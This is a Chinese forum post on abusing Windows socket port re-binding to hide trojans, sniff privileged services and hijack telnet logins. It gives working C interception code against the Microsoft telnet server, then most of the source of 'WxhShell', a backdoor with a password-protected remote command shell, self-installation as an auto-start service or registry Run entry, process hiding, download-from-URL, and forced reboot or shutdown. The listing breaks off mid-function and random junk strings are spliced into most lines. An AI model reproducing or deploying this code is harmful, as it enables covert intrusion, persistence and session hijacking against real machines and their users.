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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b-? wJSf|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5Ku=Xzvq  
& -r^Q  
  saddr.sin_family = AF_INET; bfo..f-0/Y  
v.iHgh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kN7 J Z12  
`HVS}}{a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [|iWLPO1&k  
<PLQY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a ?D]]0%  
yS#)F.  
  这意味着什么?意味着可以进行如下的攻击: &T.d"i  
X0:V5 e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @*?)S{8  
/my5s\;s|z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ')R+Z/hG.  
w8=&rzr8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vn&{yCm3  
cp1-eR_&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /80H.|8O  
]MD,{T9l\>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zM+4<k_dH]  
Sg%h}]~   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wnioIpRkh  
KA $jG{ yq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rX7GVg@H  
5D]3I=kj  
  #include Lql2ry$Wa  
  #include ^aG$9N<\  
  #include e p jb  
  #include    7eNLs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mM9aT0_w  
  int main() [^Z)f<l  
  { 2[!3!@.  
  WORD wVersionRequested; u+/Uc:XK)  
  DWORD ret; {c  : 7:  
  WSADATA wsaData; BiY-u/bH9a  
  BOOL val; rn$G.SMgz  
  SOCKADDR_IN saddr; Cn"_x  
  SOCKADDR_IN scaddr; 1Kjqs)p^  
  int err; ]I,(^Xq3a(  
  SOCKET s; V0)bPcS/  
  SOCKET sc; ^C=dq(i=[  
  int caddsize; Vc[aNpE  
  HANDLE mt; r'J="^k{  
  DWORD tid;   O]4v\~@-j  
  wVersionRequested = MAKEWORD( 2, 2 ); X<%`  
  err = WSAStartup( wVersionRequested, &wsaData ); K}t=Y  
  if ( err != 0 ) { agV z  
  printf("error!WSAStartup failed!\n"); /0Jf/-}ovn  
  return -1; a}e GB +  
  } lRk_<A  
  saddr.sin_family = AF_INET;  -uKTEG[  
   MzFFWk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >D jJ*vM  
^B_SAZ&%%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kYhV1I  
  saddr.sin_port = htons(23);  )[S#:PP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r>e1IG  
  { $7QGi|W*k  
  printf("error!socket failed!\n"); /0swrt.  
  return -1; lfAiW;giJ  
  } TU6(Q,Yi|  
  val = TRUE; mtg=v@~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $@D*/@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wBWqibY|  
  { pCf9"LLer  
  printf("error!setsockopt failed!\n"); "ejsz&n  
  return -1; )3 I~6ar  
  } O#<F"e;$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A`--*$8\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +CVB[r#hu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M }! qH.W  
Z0/$XS9|h;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |KR8=-!7  
  { lak,lDt]  
  ret=GetLastError(); %[4u #G`  
  printf("error!bind failed!\n");  >akC  
  return -1; ur:8`+" (  
  } ?f$U8A4lp  
  listen(s,2); -Qn l)JB  
  while(1) )Q 5 x%  
  { dWx@<(`OC  
  caddsize = sizeof(scaddr); VA>0Y  
  //接受连接请求 p,V%wGM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k|czQ"vaI  
  if(sc!=INVALID_SOCKET) zcC:b4  
  { =]r2;014  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =H`yzGt  
  if(mt==NULL) _dY5qW1p  
  { e-Oz`qW~  
  printf("Thread Creat Failed!\n"); xHCdtloi?I  
  break; B"sB0NuT/$  
  } Pl. y9g~  
  } qSDn0^y  
  CloseHandle(mt); <PFF\NE9  
  } N%,zME  
  closesocket(s); ~ _hA{$  
  WSACleanup(); 8(Q|[  
  return 0; [_KV;qS%/  
  }   S n<X   
  DWORD WINAPI ClientThread(LPVOID lpParam) m68>`  
  { a/v]E]=qI  
  SOCKET ss = (SOCKET)lpParam; E/hT/BOPK  
  SOCKET sc; cij8'( "+!  
  unsigned char buf[4096]; oiIl\#C  
  SOCKADDR_IN saddr; VJ8'T"^Hf  
  long num; ny%$BQM=  
  DWORD val; }= wor~  
  DWORD ret; =:Yrb2gP_\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VP~(;H5%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !7f,gvk  
  saddr.sin_family = AF_INET; mrq,kwM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _s+G02/q1  
  saddr.sin_port = htons(23); OkAgO3>Y/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^D1gcI  
  { }$'XV.  
  printf("error!socket failed!\n"); H+562W  
  return -1; JljCI@  
  } Sgr. V)  
  val = 100; ^D]J68)#a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) blWtC/!Aq;  
  { H|0-Al.{  
  ret = GetLastError(); /k[8xb  
  return -1; ?S'aA !/;  
  } >S-JAPuO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x#5vdBf  
  { h-//v~V)  
  ret = GetLastError(); uts>4r>+  
  return -1; H0!$aO  
  } gkX7,J-0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D)bL;h  
  { Fg 8lX9L  
  printf("error!socket connect failed!\n"); ^Vhl@  
  closesocket(sc); CPL,QVO9  
  closesocket(ss); &S`g&  
  return -1; 3A{)C_1a  
  } Zwz co  
  while(1) x N7sFSV@  
  { 0WfnX>(C7R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eM 5#L,Y{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z@ J>A![m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kt0xR)gU  
  num = recv(ss,buf,4096,0); #s81 k@#X  
  if(num>0) ML MetRP  
  send(sc,buf,num,0); ,NvXpN  
  else if(num==0) 7p hf  
  break; .heU Ir,  
  num = recv(sc,buf,4096,0); REgM  
  if(num>0) j>e RV ol  
  send(ss,buf,num,0); kMK0|+  
  else if(num==0) NjT*5 .  
  break; o<iU;15  
  } *Wvk~  
  closesocket(ss); O) TS$  
  closesocket(sc); _si5z  
  return 0 ; -)B_o#2=2  
  } gwsIzYV  
PqL. ^  
jVLJ qWP'!  
========================================================== Xz)qtDN|(  
<5mv8'{L  
下边附上一个代码,,WXhSHELL w3"L5;oH  
\ {]y(GT  
========================================================== (5E09K$  
?pfr^ !@$  
#include "stdafx.h" _9t1 aP5  
XXhN; -p  
#include <stdio.h> n-xdyJD  
#include <string.h> 122s 7A  
#include <windows.h> dCS f$5  
#include <winsock2.h> ]jm:VF]4  
#include <winsvc.h> ~,oz hj0f/  
#include <urlmon.h> +}M3O]?4  
`'^o45  
#pragma comment (lib, "Ws2_32.lib") ;x 2o|#`b  
#pragma comment (lib, "urlmon.lib") oGB|k]6]|  
{l5fKVb\C  
#define MAX_USER   100 // 最大客户端连接数 <xF]ca  
#define BUF_SOCK   200 // sock buffer },#7  
#define KEY_BUFF   255 // 输入 buffer p}h.2)PO  
: \qapFV  
#define REBOOT     0   // 重启 +&S6se4  
#define SHUTDOWN   1   // 关机 x~R,rb   
I#M>b:"t e  
#define DEF_PORT   5000 // 监听端口 Dw7Xy}I/  
Z)$@1Q4P?1  
#define REG_LEN     16   // 注册表键长度 "g#%d  
#define SVC_LEN     80   // NT服务名长度 nw% 9Qw  
p/RT*?<   
// 从dll定义API OA=~ i/n~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); })P!7t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :UP8nq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F[$cE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Osm))Ua(  
j*gJP !  
// wxhshell配置信息 kE .4 #  
struct WSCFG { TwI s _r:  
  int ws_port;         // 监听端口 #=S^i[K/  
  char ws_passstr[REG_LEN]; // 口令 ;*t#:U*  
  int ws_autoins;       // 安装标记, 1=yes 0=no -y$6gCRY  
  char ws_regname[REG_LEN]; // 注册表键名 ls&H oJ7  
  char ws_svcname[REG_LEN]; // 服务名 (YYg-@IO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k_,& Q?GtU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pc0{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y1I)w^}:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A]'jsv!+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,!@MLn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Q;sbI}  
Y8]@y0(  
}; 2vLun   
72"H#dy%U  
// default Wxhshell configuration ;h+~xxu=X  
struct WSCFG wscfg={DEF_PORT, [RN]?,  
    "xuhuanlingzhe", =t)qy5  
    1, eh<mJL%T  
    "Wxhshell", :&TM0O  
    "Wxhshell", aK - x{  
            "WxhShell Service", M @-:iP  
    "Wrsky Windows CmdShell Service", 'UWkJ2:!  
    "Please Input Your Password: ", {9}CU~R  
  1, '!`\!=j-`  
  "http://www.wrsky.com/wxhshell.exe", [bP^RY:  
  "Wxhshell.exe" eBnx$  
    }; tx>7?e8E  
E5)0YYjHZ  
// 消息定义模块 9l &q}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gee~>l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m<-!~ ew  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uf#h~;B  
char *msg_ws_ext="\n\rExit."; )]FXUz|;  
char *msg_ws_end="\n\rQuit."; &`v?oN9$  
char *msg_ws_boot="\n\rReboot..."; UAhWJ$(C  
char *msg_ws_poff="\n\rShutdown..."; kl.;E{PL  
char *msg_ws_down="\n\rSave to "; y42 Cg  
aMY@**^v  
char *msg_ws_err="\n\rErr!"; ~[t#$2d}  
char *msg_ws_ok="\n\rOK!"; `qs}L  
]&]DF Y~n  
char ExeFile[MAX_PATH]; C'|9nK$%  
int nUser = 0; -Q@f),  
HANDLE handles[MAX_USER]; i$<['DY  
int OsIsNt; 5X)M)"rq;V  
*$-X&.h[  
SERVICE_STATUS       serviceStatus; =X7kADRq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %eg+ .  
IJGw<cB]+  
// 函数声明 4BCe;Q^6  
int Install(void); ^gvTc+|  
int Uninstall(void); zU ~ Ff"<  
int DownloadFile(char *sURL, SOCKET wsh); 2vjkThh`I  
int Boot(int flag); ?#=xx.cF  
void HideProc(void); 6d6cZGS[:  
int GetOsVer(void); )w M%Ul<s  
int Wxhshell(SOCKET wsl); McasnjC  
void TalkWithClient(void *cs); b-VygLN  
int CmdShell(SOCKET sock); +|obU9M  
int StartFromService(void); VZWo.Br'W  
int StartWxhshell(LPSTR lpCmdLine); * &:_Vgu  
[5?Dov^j 3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MVzuE}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f1ANziC;i  
GT<oYrjU  
// 数据结构和表定义 <z,)4z++  
SERVICE_TABLE_ENTRY DispatchTable[] = ==m[t- 9x  
{ ^BA%]pe$I  
{wscfg.ws_svcname, NTServiceMain}, `/>kN%  
{NULL, NULL} M@.S Q@E  
}; } jJKE  
"UMaZgI  
// 自我安装 [A84R04_%  
int Install(void) n >y,{"J{  
{ 37zB X~  
  char svExeFile[MAX_PATH]; :,JaOn'  
  HKEY key; 3Xu|hkK\e  
  strcpy(svExeFile,ExeFile); ~ #3{5* M  
M.mn9kw`  
// 如果是win9x系统,修改注册表设为自启动 yqq1a o  
if(!OsIsNt) { ewk7:zS/?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vw2E$ya  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .<`)`:n+B  
  RegCloseKey(key); 5U47 5&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k9rws  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HD=F2p  
  RegCloseKey(key); +zMPkbP6  
  return 0; #!R>`l(S  
    } }b(h D|e  
  } Mc@9ivwL#  
} JfN5#+_i  
else { !t23 _b0  
<@ .e.H  
// 如果是NT以上系统,安装为系统服务 eW(pP>@k,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5 qfvHQ ~M  
if (schSCManager!=0) imYfRi=$  
{ H<_Tn$<zH.  
  SC_HANDLE schService = CreateService 3s!6rT_=)d  
  ( ^~[7])}g6  
  schSCManager, vzg^tJ  
  wscfg.ws_svcname, Hloe7+5UD  
  wscfg.ws_svcdisp, ^}-l["u`  
  SERVICE_ALL_ACCESS, Qt+D ,X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , larv6ncV  
  SERVICE_AUTO_START, Dz~0(  
  SERVICE_ERROR_NORMAL, -pYmM d,  
  svExeFile, Ea@0>_U|  
  NULL, _  Lh0  
  NULL,  pRobx  
  NULL, L K #A  
  NULL, o7!A(Eu  
  NULL 8IlUbj  
  ); $?PI>9g!  
  if (schService!=0) 2O=$[b3  
  { jV sH  
  CloseServiceHandle(schService); ]AY 4bm  
  CloseServiceHandle(schSCManager); Ww-x+U\l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ..8t1+S6]  
  strcat(svExeFile,wscfg.ws_svcname); #AGO~#aK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S!8<|WO^t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uBbQJvL  
  RegCloseKey(key); .Od:#(aq  
  return 0; Pw<?Dw]m  
    } ~DK.Y   
  } x *I'Ar  
  CloseServiceHandle(schSCManager); 0(y*EJA$  
} U7x  
} V|'@D#\  
"mJo<i}  
return 1; lubsLI  
} #EzhtuHxn  
%]LoR$|Y  
// 自我卸载 s9wzN6re  
int Uninstall(void) -t4:%-wv  
{ MF"*xr v  
  HKEY key; S5hc@^|0Z  
arm_SyL0  
if(!OsIsNt) { K]m#~J3d>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nnPT08$  
  RegDeleteValue(key,wscfg.ws_regname); fYP,V0P  
  RegCloseKey(key); fF0K].  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' bl9fO4v  
  RegDeleteValue(key,wscfg.ws_regname); oT{9P?K8  
  RegCloseKey(key); u* pQVU  
  return 0; eQ[akVMk  
  } lu{ *]!  
} j-1V,V=  
} ~%*l>GkP*  
else { R1LirZlzJ  
y ~  K8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mx}5":}  
if (schSCManager!=0) h~#F2#.  
{ \ZcI{t'a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >k"O3Pc@  
  if (schService!=0) SdlO]y9E  
  { O<s7VHj  
  if(DeleteService(schService)!=0) { > V(C>^%->  
  CloseServiceHandle(schService); 0e8  
  CloseServiceHandle(schSCManager); epnZGz,A  
  return 0; mHMsK}=~  
  } .vKgiIC:  
  CloseServiceHandle(schService); r !!uA1!7  
  } Vl1.]'p_  
  CloseServiceHandle(schSCManager); VzSkqWF/"  
} lD$s, hp  
} \>:t={>;  
P[ o"%NZ'  
return 1; $R #_c}  
} MlWKfe<  
Jzf+"%lv  
// 从指定url下载文件 PJB_"?NTTC  
int DownloadFile(char *sURL, SOCKET wsh) [ 6VM4l"  
{ Q I";[  
  HRESULT hr; wBpt W2jA  
char seps[]= "/"; 3/vtx9D  
char *token; \/1~5mQ+  
char *file; 2tK~]0x  
char myURL[MAX_PATH]; l^R:W#*+U  
char myFILE[MAX_PATH]; &;ddnxFI  
zKP[]S-  
strcpy(myURL,sURL); 15{^waR6  
  token=strtok(myURL,seps); 3|$?T|#B  
  while(token!=NULL) Kc]cJ`P4.  
  { mdL T7  
    file=token; ? /!Fv/  
  token=strtok(NULL,seps); dwB#k$VIOw  
  } "#wAGlH6>  
',hoe  
GetCurrentDirectory(MAX_PATH,myFILE); ?3N/#  
strcat(myFILE, "\\"); ]rGd!"q  
strcat(myFILE, file); [Uk cG9  
  send(wsh,myFILE,strlen(myFILE),0); D?E VzG  
send(wsh,"...",3,0); puMVvo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G--vwvL  
  if(hr==S_OK) e[x,@P`  
return 0; %GjG.11V,_  
else E*)A!2rlK  
return 1; _\4r~=`HQ  
_~Od G  
} aEdMZ+P.  
MkVv5C  
// 系统电源模块 n2*Ua/J-8  
int Boot(int flag) CxaI@+  
{ 7Z]?a  
  HANDLE hToken; =z5=?  
  TOKEN_PRIVILEGES tkp; 0D4 4  
N''xdz3Z  
  if(OsIsNt) { >;G_o="X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L`M{bRl+1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !(bYh`Uy  
    tkp.PrivilegeCount = 1; W9gQho%9b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }k AE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tx;2C|S$oU  
if(flag==REBOOT) { \t{4pobo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <EyJ $$  
  return 0; d.ywH;  
} @ ~{TL  
else { f4<~_ZGr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EO'+r[Y  
  return 0; 9J%O$sF  
} yT%<  t  
  } :6C R~p  
  else { oBai9 [+  
if(flag==REBOOT) { XH0{|#hwN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d+P<ce2 G  
  return 0; uF%N`e^S  
} Nc6y]eGz  
else { *C)m#[#:u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fc:87ZR{K  
  return 0; ;N!n06S3  
} rfdA?X{Q0  
} ~mH'8K|l  
7 HL Uk3  
return 1; sk5=$My  
} OvdBUcp[  
+:#g6(P]  
// win9x进程隐藏模块 BB,-HhYT0  
void HideProc(void) #\F8(lZ  
{ l+(B~v  
#/(L.5d[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6UN{Vjr%`  
  if ( hKernel != NULL ) (q 7;/n  
  { eG1A7n'6W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y edF%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LfnQcI$kO  
    FreeLibrary(hKernel); /;TD n>lq  
  } T}p|_)&y  
Rp zuSh  
return; 6EWCJ%_  
} 9 [E/^  
WFug-#;e  
// 获取操作系统版本 V!e`P  
int GetOsVer(void) DS|x*w'I  
{ 7}=MVp] )S  
  OSVERSIONINFO winfo; (s1iYK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F":dS-u&L  
  GetVersionEx(&winfo); 1:h(8%H@"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y}QqS/  
  return 1; M;-FW5O't  
  else Oa5-^&I  
  return 0; MmfshnTN  
} ;h~kB  
|c]L]PU  
// 客户端句柄模块 BH^cR<<j  
int Wxhshell(SOCKET wsl) }/xdHt  
{ Sr6iQxE  
  SOCKET wsh; $H,9GIivD  
  struct sockaddr_in client; ='/#G0W  
  DWORD myID; }q/[\3  
5',b~Pp  
  while(nUser<MAX_USER) huin?,eGz  
{ 2JHF*zvO-  
  int nSize=sizeof(client); Y^?PHz'Go  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R'1"`@f G  
  if(wsh==INVALID_SOCKET) return 1; ^> d"D  
Zg])uM]\2i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3v~}hV/RUy  
if(handles[nUser]==0) )6he;+  
  closesocket(wsh); w/0;N`YB  
else 9 Xh<vh8&  
  nUser++; ,(yaWd6  
  } 8/9YR(H3H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yj>\WH  
toox`|  
  return 0; Im`R2_(]  
} ~r]$(V n  
>&qaT*_g  
// 关闭 socket 3A b_Z  
void CloseIt(SOCKET wsh) :rmi8!o  
{ _ZuI x=!  
closesocket(wsh); zy9W{{:P(1  
nUser--; .O4=[wE!U  
ExitThread(0); Ac,bf 8C  
} PPtJ/ }\  
du=[r  
// 客户端请求句柄 (5^SL Y  
void TalkWithClient(void *cs) <,'^dR7,  
{ j62oA$z  
~qW"v^<  
  SOCKET wsh=(SOCKET)cs; MB5X$5it  
  char pwd[SVC_LEN]; Of$gs-  
  char cmd[KEY_BUFF]; wMiRN2\^  
char chr[1]; zL:k(7E  
int i,j; %t-}dC&  
]O M?e  
  while (nUser < MAX_USER) { (7P VfS>;  
%aJ8wYj*  
if(wscfg.ws_passstr) { LTio^uH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y{qKb:~wv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qB=%8$J  
  //ZeroMemory(pwd,KEY_BUFF); NEMC  
      i=0; W QyMM@#  
  while(i<SVC_LEN) { }Mh`j $  
*7/MeE6)i  
  // 设置超时 I#t# %!InH  
  fd_set FdRead; u&Y1,:hiL  
  struct timeval TimeOut; _k5-Wd5Ypw  
  FD_ZERO(&FdRead); }D#[yE,=\  
  FD_SET(wsh,&FdRead); q}7(w$&  
  TimeOut.tv_sec=8; fL R.2vJ  
  TimeOut.tv_usec=0; U[l{cRT   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7vsXfIP+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {cYbM[}U"  
BO=j*.YKy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :sb+jk  
  pwd=chr[0]; "C%* 'k  
  if(chr[0]==0xd || chr[0]==0xa) { ^cYt4NHXn  
  pwd=0; Z|Xv_Xo|4  
  break; `lq[6[n  
  } yNmzRH u  
  i++; Q\v^3u2;m`  
    } k'Z$#  
g`zC0~D2  
  // 如果是非法用户,关闭 socket qgLj^{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]a=Bc~g91  
} !xZ`()D#  
'4d+!%2t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q1o)l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \wo'XF3:  
ID v|i.q3  
while(1) { r*s)T`T}}  
|h1 Y3  
  ZeroMemory(cmd,KEY_BUFF); syLpnNx=  
E?P:!V=_  
      // 自动支持客户端 telnet标准   !_UBw7Zm  
  j=0; be{tyV  
  while(j<KEY_BUFF) { < {dV=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f0lK ,U@P  
  cmd[j]=chr[0]; ns[Q %_  
  if(chr[0]==0xa || chr[0]==0xd) { W_N!f=HW  
  cmd[j]=0; 4wQ>HrS)(  
  break; oT27BK26?h  
  } q'awV5y  
  j++; |G]M"3^  
    } s;-%Dfn  
\?.Tq24  
  // 下载文件 @#5PPXp  
  if(strstr(cmd,"http://")) { $3MYr5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4 U`5=BI  
  if(DownloadFile(cmd,wsh)) 0?nm`9v6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,=kQJ|  
  else Kzd)Z fnD0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fs EPM"&?h  
  } A `n:q;my  
  else { {]\!vG6  
14v,z;HXj  
    switch(cmd[0]) {  =:-x;  
  (*2kM|  
  // 帮助 0<T/P+|  
  case '?': { wsNM'~(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #<|q4a{8  
    break; D#,P-0+%  
  } l6EDl0~r  
  // 安装 +p:@,_  
  case 'i': { p94 w0_m@|  
    if(Install()) U$(AZ|0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (GdL(H#IL  
    else e7.!=R{6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;MR(Eaep  
    break; ~?)ST?&  
    } mT2Fn8yC1  
  // 卸载 PjkJsH  
  case 'r': { c}>p"  
    if(Uninstall()) "~lGSWcU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p$cSES>r:  
    else &t\KKsUtd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {r!X W  
    break; -Fj:^q:@u  
    } =,=tSp  
  // 显示 wxhshell 所在路径 y$e'-v  
  case 'p': { <v)Ai;l,  
    char svExeFile[MAX_PATH]; M6J/S  
    strcpy(svExeFile,"\n\r"); CL$mK5u  
      strcat(svExeFile,ExeFile); ]+B#SIC;  
        send(wsh,svExeFile,strlen(svExeFile),0); V0h  
    break; >@BvyZ)i  
    } /# M|V6n  
  // 重启 HEjrat;5  
  case 'b': { W%=b|6E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T?+xx^wYk  
    if(Boot(REBOOT)) vO)nqtw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ajQ*aNq  
    else { MyOdWD&7  
    closesocket(wsh); b)A$lP%`  
    ExitThread(0); J !:ss  
    } Iz#h:O  
    break; (Js'(tBhiU  
    } >_y>["u6J#  
  // 关机 7='M&Za  
  case 'd': { U9KnW]O%"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  R9->.eE  
    if(Boot(SHUTDOWN)) 2EOt.4cP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B%L0g.D"  
